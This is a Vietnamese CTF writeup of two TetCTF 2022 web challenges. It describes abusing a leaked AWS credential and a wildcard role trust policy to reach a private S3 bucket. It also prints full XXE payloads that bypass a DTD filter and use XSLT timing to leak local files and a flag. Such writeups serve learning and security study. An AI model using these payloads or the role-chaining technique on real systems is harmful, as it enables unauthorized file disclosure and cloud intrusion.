TetCTF 2022 Writeups

Choose your language ·

(Bài này mình viết từ năm 2022 trên self-hosted blog và rồi mình repost lại trên Substack, sau đó mình lại quyết định chuyển blog sang Blogger nên hôm nay mình post lại nó ở đây). 

1. Mở đầu 

Mình khởi động đầu năm bằng việc cùng anh em trong CLB ATTT của trường tham gia TetCTF 2022 diễn ra trong 2 ngày 01/01 và 02/01. Team của bọn mình là blackpinker. Mặc dù TetCTF đã đến mùa thứ 4 nhưng năm nay là lần đầu tiên mình tham gia kỳ thi này. Trong giờ thi mình (dưới sự trợ giúp của đồng đội) có giải được 2 bài web là picked onions và transform2newyear, vì vậy mình sẽ writeup chi tiết 2 bài này.

https://substackcdn.com/image/fetch/$s_!5PzB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd5c4d23-d296-41dc-aeca-34d59858bc3a_1624x771.png 

2. Bài picked onions

2.1. Lấy source

Đề bài không cho source mà chỉ cho link trang web. Vào xem qua có được các endpoint trên menu:

  1. /: Trang home với duy nhất 1 bức ảnh

  2. /services: Vài dòng quảng cáo về web

  3. /customers: 1 table có 2 cột là Name và Description, liệt kê ra các customer đã sử dụng service của web

  4. /secret: 1 bức ảnh có ghi “I’ve got a Secret!”

  5. /login: Form để login

     

Cái đáng nghi nhất trong số endpoint trên rõ ràng là /secret, quan sát kĩ hơn bằng cách view source, sẽ thấy ảnh được load từ https://secret-tetctf.s3.us-east-1.amazonaws.com/I%27ve_Got_a_Secret.jpg

 

1 subdomain của amazonaws.com - một dịch vụ cloud của Amazon, phần đầu URL là secret-tetctf.s3 cho thấy tác giả đang sử dụng 1 bucket của Amazon S3 để lưu trữ dữ liệu trên cloud. Để kiểm tra bucket này còn chứa gì khác ngoài bức ảnh trên, ta xóa phần đuôi I%27ve_Got_a_Secret.jpg, được kết quả dưới dạng XML

 

Từ đây cho thấy ngoài file ảnh ra còn có 1 file khác tên là secret, lấy file đó bằng cách access https://secret-tetctf.s3.us-east-1.amazonaws.com/secret. Mở bằng editor thấy đây là 1 file python code:

 

Dễ thấy đây là source code của trang web, các endpoint /, login, secret, services đều chỉ làm 1 chuyện là render template có sẵn, không có tham số nào có thể control, vì vậy ta bỏ qua chúng. Chú ý đến endpoint còn lại là customers.

 

Khi access /customers, web sẽ sử dụng 1 credential để truy cập vào Dynamo DB, sau đó lấy ra hết các row của table customers, với mỗi rows thực hiện:

  1. Decode base64 field data

  2. Đem dữ liệu đi code được cho vào pickle.loads

  3. Object sau khi load, được append vào list data

List data sau đó làm tham số cho hàm render_template, vì /customers sẽ show ra 1 table nên đoán được data này sẽ chứa các object có NameDescription. Ở đây sử dụng hàm pickle.loads tức là đang thực hiện deserialize, vậy nếu như có thể kiểm soát input của lệnh này, tức là field data trong table customers thì ta có thể cho deserialize 1 object độc hại và có RCE. Điều này dẫn đến việc cần insert hoặc update trong table customers.

2.2. Upgrade permission nhờ misconfiguration

Vì đọc được source code nên AWS credential mà tác giả sử dụng đã bị leak, ta sẽ thử dùng nó để thao tác với Dynamo DB. Nhưng trước hết cần kiểm tra xem nó có những permission nào, ở đây mình sử dụng tool https://github.com/andresriancho/enumerate-iam để làm điều đó

 

Kết quả là với Dynamo DB không có quyền insert hay update mà chỉ có thể list hoặc xem một số thông tin của database. 2 permission sts.get_caller_identitysts.get_session_token có thể lấy ra một số thông tin của credential đang dùng: ARN, Account ID, Username, Session token, là những thứ ta đã biết rồi. Vậy chỉ còn lại mỗi iam.list_role để list ra các role nên ta chạy thử. Kết quả là được 1 số role, trong đó có role tên là CTF_ROLE được config như sau:

 

Ở đây có đoạn AWS: "*" là misconfiguration. Nghĩa là bất cứ ai cũng có thể assume role này, miễn là PrincipalArn của họ match với pattern arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*. Mà pattern này có dạng của 1 role, do đó idea sẽ là:

  1. Tạo 1 AWS account, gọi là A

  2. Tạo 1 role theo pattern arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*, gọi là B

  3. Dùng credential của A để assume role B, sau đó sẽ nhận được 1 credential mới gồm access key, secret key và session token đại diện cho role B

  4. Sử dụng credential mới để assume role CTF_ROLE, nhận được 1 credential mới

  5. Sử dụng credential mới, có thể sẽ có thêm nhiều permission khác

Idea là vậy, nhưng để tạo AWS account thì phải có credit card, vậy nên mình nhờ đồng đội là anh @Em0n tạo và test giùm, assume role tự tạo thì được nhưng sau đó assume CTF_ROLE thì không, mặc dù đã đúng pattern. Mình nghĩ có thể vấn đề do assume role từ role tự tạo sang CTF_ROLE là cross account. Thế nên mình đã mượn 1 AWS account khác của anh @mugi để test cross account và mình setup như sau:

  1. Account A setup 2 role là role theo pattern của bài (role 1) và CTF_ROLE (role 2)

  2. Dùng account B assume role 1 (cross account assume), sau đó assume role 2

Kết quả thì vẫn assume được cả role 1 lẫn 2. Khá khó hiểu nên mình hỏi tác giả là anh @0xfatty, nhờ anh ấy support thì mình mới biết là role 1 và role 2 của mình cùng trên 1 account nên có thể assume role thoải mái, nhưng từ role 1 của mình muốn assume role của server thì phải attach policy assume role cho role 1. Mình quên mất điều này nên chỉ attach policy cho mỗi account A.

Sau khi đã assume role CTF_ROLE, mình tiếp tục dùng enumerate-iam để xem đã có permission để insert hay update với dynamodb chưa.

Khá bất ngờ là còn ít permission hơn credential lấy từ source, và không có permission nào liên quan đến dynamodb. Nhưng có 1 permission là list-buckets. Nhờ đó biết được còn có 1 private bucket nữa và trong đó có chứa flag.

2.3. Bên lề

Bài này dạng web, nhưng thật ra là cloud, nó thực tế và bắt kịp xu hướng hiện tại. Khi làm bài này thì mình còn chưa có kiến thức gì về cloud cả, nên tiện thể chơi CTF thì dành thời gian nghiên cứu và học (nhanh) 1 kiến thức mới luôn, trong lúc nghiên cứu mình cũng có coi qua video BabyTalk #3 có anh Chi Tran nói về cách tiếp cận các bug trên AWS, khá hay. Cảm ơn anh 0xfatty đã ra 1 challege về lĩnh vực cloud rất thú vị, giúp mọi người nhận thức được việc tuy 1 misconfiguration nhỏ có thể nguy hiểm thế nào đến system.

3. Bài transform2newyear

3.1. Phân tích source

Đọc Dockerfile sẽ biết được phải cài JDK bản nào để debug, và biết directory chứa flag cũng như tên flag được random theo 1 format. Tạo 1 project mới trong IntelliJ rồi add file jar của bài vào phần Library để đọc source. Web sử dụng Spring Framework với đoạn xử lý chính nằm trong foo.bar.tetctf

 

 

Đọc source sẽ biết được có 2 endpoint là GET / và POST /tetctf/2022/transform2newyear. Endpoint đầu tiên chỉ show ra câu chào mừng nên chuyển qua endpoint còn lại.

Endpoint này nhận Content-Type là text/xml, nội dung body là doc sau đó được đưa qua Utils.transform và không lấy kết quả trả về. Nếu không có exception nào xảy ra thì response sẽ là “Happy new year and enjoy TetCTF 2022 !”, ngược lại thì trả ra thông báo về exception (chứ không có nội dung chi tiết exception).

 

Tiếp tục đọc code ở Utils.transform

 

 

doc đầu tiên sẽ được parseXML, điều này hợp lý vì content nhận vào là text/xml, sau đó sử dụng TransformerFactory để transform dữ liệu đã parse. Kết quả sau khi transform được lưu vào biến local byteArrayOutputStream và không return nó.

Đọc docs của java một tí thì sẽ biết TransformerFactory mặc định sẽ dùng 1 file XSLT để transform 1 file XML. Nói cụ thể hơn về quá trình transform này, XSLT là 1 file chứa các instruction, khi đưa file XSLT qua 1 transform processor, nó sẽ đọc các instruction và transform 1 file XML nào đó theo tác dụng của instruction tương ứng. Mục đích là để chuyển file XML sang 1 dạng nào đó, có thể là HTML, plaintext hay thậm chí vẫn là XML nhưng có cấu trúc bên trong kiểu khác.

Do đó, input đưa vào endpoint này phải là 1 file XSLT. Ở đoạn code trên ta có thể thấy có phần setFeature để set secure-processing là true, mục đích là để ngăn chặn XSLT Injection, không cho đọc file, RCE, … Như vậy đoạn code transform này có vẻ an toàn.

Nhưng trước khi transform, input của chúng ta đã đi qua parseXML, vì bản chất file XSLT cũng là XML. Vậy nếu hàm parseXML không an toàn thì ta có thể lợi dụng để XXE. Để biết nó có an toàn hay không, ta đọc nó.

 

Đoạn này trước tiên tiền xử lý data bằng hàm preParsingValidation, sau đó parse bằng DocumentBuilder, nếu như không có hàm preParsingValidation thì đoạn parse này không an toàn, vì cần phải set các feature về secure processing như đoạn transform vậy thì mới ổn. Do đó xem tiếp hàm preParsingValidation.

 3.2. Bypass preParsingValidation để XXE

 

Hàm này là 1 hàm void, bên trong có 1 đoạn throw exception nếu như thỏa mãn 1 điều kiện gì đó, nội dung exception là về security warning DTD. Từ đó biết được hàm này sẽ check xem input của mình có chứa DTD để XXE không, nếu có thì throw ra lỗi và không tiếp tục parse XML. Do tác giả không bật secure processing feature khi parse mà lại tự viết 1 hàm check riêng, rõ ràng là muốn người chơi bypass hàm này rồi.


Các payload XXE thường sẽ bắt đầu bằng

<!--?xml version="1.0" ?--><!DOCTYPE ...

hoặc là

<xml version="1.0"><!DOCTYPE ...

hoặc

<xml version="1.0"><!-- comment here --><!DOCTYPE ...

hoặc một số trường hợp khác tương tự vậy.

 

Dựa trên điều đó, hàm sẽ kiểm tra bằng cách duyệt từ đầu input, mỗi khi gặp open tag <xml hoặc <!-- thì sẽ chạy tiếp mà không quan tâm đến các kí tự ở giữa cho đến khi gặp close tag là ?> hoặc -->. Nếu gặp open tag nào đó khác thì break, sau đó kiểm tra dãy kí tự phía sau vị trí i có phải là <!DOCTYPE hay không, nếu có thì input bị từ chối.

Do đó để bypass, cần tìm cách sao cho trong input có <!DOCTYPE, nhưng khi vòng while kết thúc thì giá trị biến i không được nằm ngay trước <!DOCTYPE.

Vòng lặp while sẽ kết thúc khi đã duyệt qua hết input hoặc khi biến done là true. Rõ ràng ta cần i sau vòng lặp ở trước <!DOCTYPE nên không được để trường hợp kết thúc khi duyệt xong input.

Để biến done là true thì sẽ có 2 trường hợp:

  1. Thấy 1 dấu open tag < và tag được mở ngay sau đó không phải là <!--<xml

  2. Gặp 1 kí tự nào đó khác dấu < và các loại whitespace (\t, space, \r, \n)

Nếu như đặt 1 tag nào đó ở giữa <xml<!DOCTYPE thì sẽ hoặc ở giữa <!--<!DOCTYPE, chẳng hạn <xml version="1.0"?><tag></tag><!DOCTYPE, thì sẽ không hợp lệ do đó loại trừ trường hợp 1.

Nếu như gặp 1 kí tự thuộc trường hợp 2, thì các kí tự trước đó (nếu có) phải là dấu close tag ?> hoặc -->, nhưng nếu có 1 kí tự ở giữa 2 tag <xml<!DOCTYPE hoặc <!--<!DOCTYPE cũng không hợp lệ.

Nhưng sẽ ra sao nếu ở trường hợp 2, dấu close tag ngay trước đó lại không thực sự là dấu close tag?

<xml version="1.0" encoding="?>"?><!DOCTYPE ...

Bằng việc bỏ ?> vào attribute encoding, ta có thể lừa cho hàm hiểu đó là dấu close tag và kí tự tiếp theo rơi vào " khiến hàm while kết thúc, và mình test local thấy encoding là “?>” thì vẫn được parse bình thường.

3.3. XXE + XSLT

Vậy đã có XXE rồi, có thể đọc file, nhưng bài chặn hết outbound connection, và cũng try catch rất kĩ nên làm sao đọc được output? Mà flag đặt random thì làm sao biết phải đọc file nào? Do đó dù đã có XXE nhưng mình vẫn loay hoay tìm cách RCE, đi vào bế tắc. Suy nghĩ lại thì còn chi tiết XSLT là chưa tận dụng, dù nó an toàn. Mình thử search XXE và XSLT ra được 1 bài viết gần đây của anh @tint0, nói 1 chain dùng if trong XSLT để extract từng kí tự trong file XML bằng time-based. Quá hợp lý cho trường hợp này!

Nhưng như vậy mới chỉ đọc được output của XXE, chưa biết flag ở đâu để đọc. Tuy nhiên mình có test trên local thì nếu đọc file / thì nó là 1 directory nhưng vẫn đọc được và nội dung là tên các file bên trong directory đó. Vì vậy cứ đọc / sẽ biết flag nằm đâu thôi.

Ban đầu mình dùng payload này để đọc các directory name ở / (các bạn thay thế <!ABC thành <!ENTITY giúp mình nhé, không hiểu sao Substack bị lỗi khi mình dùng <!ENTITY):

<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
    <xsl:variable name="content">&example;</xsl:variable> 
    <xsl:template match="*">
        <xsl:if test="substring($content,1,1) = 'a'">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <a/>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
        </xsl:if>
    </xsl:template>
</xsl:stylesheet>

 

Payload này sau khi qua parseXML thì phần <xsl:variable> sẽ chứa content là nội dung file đọc được, khi đó dùng <xsl:if để extract nội dung biến $content: Nếu điều kiện đúng thì cho nhiều for lồng nhau để delay.

Kết quả khá ổn, có được đường dẫn chứa flag là /vUyzYxX4uZ

.dockerenv
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var
vUyzYxX4uZ

Tiếp tục đọc ở /vUyzYxX4uZ, ra được tên file flag là flag_0001t.txt

Giờ dùng cách tương tự đọc flag nữa là xong, easy game? No :(((

3.4. Special flag

Flag mình đọc được bị thiếu, mình có hỏi tác giả là anh @ducnh thì anh khuyên mình test trên local đã, lúc đọc flag ở local mình đã hiểu ra vấn đề.

Flag TetCTF{<?TetCTF ?> sample flag, :) }.

Ở trong flag có chứa <??>, file XSLT sẽ hiểu đây là 1 processing instruction, do đó biến $content lúc này chỉ là TetCTF{ sample flag, :) }. Vì vậy cần tìm cách đọc nội dung trong 1 (hoặc nhiều) processing instruction như vậy.

Đến khúc này mình loay hoay mãi không làm được nên đã nhờ 2 đồng đội là anh @Em0n và @mugi trợ giúp, và có được payload để đọc phần bên trong (các bạn thay thế <!ABC thành <!ENTITY giúp mình nhé, không hiểu sao Substack bị lỗi khi mình dùng <!ENTITY):

<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
    <my:menu>&example;</my:menu>
    <xsl:template match="processing-instruction()">
        <xsl:processing-instruction name="_">
            <xsl:if test="substring(concat(., ' '), 1, 1) = 'a'">
                <xsl:for-each select="//.">
                <xsl:for-each select="//.">
                <xsl:for-each select="//.">
                <xsl:for-each select="//.">
                <xsl:for-each select="//.">
                <a/>
                </xsl:for-each>
                </xsl:for-each>
                </xsl:for-each>
                </xsl:for-each>
                </xsl:for-each>
            </xsl:if>
        </xsl:processing-instruction>
    </xsl:template>
</xsl:stylesheet>

Đoạn <xsl:template match="processing-instruction()"> sẽ lấy ra các processing instruction, nếu có nhiều thì có thể lấy từng cái bằng cách <xsl:template match="processing-instruction()[position()=2]">. Sau đó với mỗi processing instruction được match, ví dụ là <?a b?> thì . sẽ trả về ab, nên cần concat(., ' ') để nối chúng lại bằng dấu cách.

Cách này có thể lấy được nội dung của nhiều processing instruction, nhưng sau khi lấy thì phải đặt vào vị trí nào cho phù hợp, vì flag trong bài chỉ có 1 processing instruction nên có thể tìm được vị trí để ghép. Nhưng nếu có nhiều thì sao? Trong lúc nghịch ngợm mình đã có payload này (các bạn thay thế <!ABC thành <!ENTITY giúp mình nhé, không hiểu sao Substack bị lỗi khi mình dùng <!ENTITY):

<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
    <my:menu>&example;</my:menu>
    <xsl:template match="*">
        <xsl:if test="substring(/*/my:menu/text()[1],1,1) = 'a'">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <xsl:for-each select="//.">
            <a/>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
            </xsl:for-each>
        </xsl:if>
    </xsl:template>
</xsl:stylesheet>

Cách này mình sẽ đặt entity vào giữa tag <my:menu>, sau đó đoạn if mình sẽ dùng XPath để gọi tới <my:menu>, khi đó nếu flag là a<?zz?>b<?xx?>c thì /*/my:menu/text()[1] sẽ trả về a, /*/my:menu/text()[2] sẽ trả về b, …, như vậy có thể biết được các vị trí nào cần chèn processing instruction.

3.5. Bên lề

Cá nhân mình thấy đây là 1 bài java web hay, giúp mình học được nhiều thứ. Qua việc làm bài này giúp mình biết đến sự tồn tại của XSLT, và cũng biết thêm khái niệm về processing instruction. Cảm ơn anh @ducnh vì challenge bổ ích này.

4. Lời kết

Thật tự hào khi nước mình lại có 1 CTF nằm trong top đáng để chơi của thế giới với sự tham gia của nhiều đội mạnh từ các nước. Challenge chất lượng cao, dù có làm được hay không thì cũng có thứ để học. Bên cạnh đó thì mình cũng rất thích giao diện trang thi, nó rất đẹp và mang đậm màu sắc của mùa xuân ở Việt Nam. Cảm ơn các anh trong BTC đã tạo ra một sân chơi bổ ích như vậy. Chúc TetCTF ngày một phát triển và sớm trở thành World Class CTF <3.

Contents

Comments